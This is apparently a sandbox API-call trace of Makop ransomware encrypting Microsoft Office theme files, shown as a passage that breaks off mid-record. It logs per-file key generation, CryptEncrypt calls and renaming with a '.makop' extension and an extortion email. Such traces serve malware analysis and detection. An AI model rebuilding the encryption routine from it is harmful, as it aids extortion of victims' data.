[0158.906] GetProcessHeap () returned 0x48a0000 [0158.906] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.906] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.906] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.906] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.906] GetProcessHeap () returned 0x48a0000 [0158.906] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.907] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.907] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.907] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.911] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.911] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.911] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.911] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.911] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.911] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.912] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.912] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0158.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.912] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0158.912] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.912] SetEndOfFile (hFile=0xf0) returned 1 [0158.918] GetProcessHeap () returned 0x48a0000 [0158.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.918] GetProcessHeap () returned 0x48a0000 [0158.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.918] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0158.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.920] CloseHandle (hObject=0xf0) returned 1 [0158.920] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0158.920] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml") returned 78 [0158.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.921] GetProcessHeap () returned 0x48a0000 [0158.921] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.921] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0158.925] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.925] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.925] GetProcessHeap () returned 0x48a0000 [0158.925] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.925] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.926] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.926] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.926] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.926] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.927] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.927] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c3, lpOverlapped=0x0) returned 1 [0158.927] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.927] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.927] SetEndOfFile (hFile=0xf0) returned 1 [0158.933] GetProcessHeap () returned 0x48a0000 [0158.933] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.933] GetProcessHeap () returned 0x48a0000 [0158.933] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.934] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0158.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.935] CloseHandle (hObject=0xf0) returned 1 [0158.935] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0158.935] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0158.936] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0158.936] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned 66 [0158.936] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*") returned 70 [0158.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0158.941] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.945] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="ADJACE~1.EFT")) returned 1 [0158.945] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0158.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.947] GetProcessHeap () returned 0x48a0000 [0158.947] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.947] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.947] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0158.951] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.951] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.951] GetProcessHeap () returned 0x48a0000 [0158.951] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.952] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.952] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.952] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.952] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.952] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.952] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.952] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.953] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.953] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5261, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5261, lpOverlapped=0x0) returned 1 [0158.955] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5270, dwBufLen=0x5270 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5270) returned 1 [0158.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5270, lpOverlapped=0x0) returned 1 [0158.955] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.956] SetEndOfFile (hFile=0xf0) returned 1 [0158.963] GetProcessHeap () returned 0x48a0000 [0158.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.963] GetProcessHeap () returned 0x48a0000 [0158.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.963] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0158.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.965] CloseHandle (hObject=0xf0) returned 1 [0158.965] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="ANGLES~1.EFT")) returned 1 [0158.965] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0158.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.966] GetProcessHeap () returned 0x48a0000 [0158.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.966] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0158.983] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.983] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.983] GetProcessHeap () returned 0x48a0000 [0158.984] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.984] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.984] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.985] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.985] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.985] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.985] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6ae5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 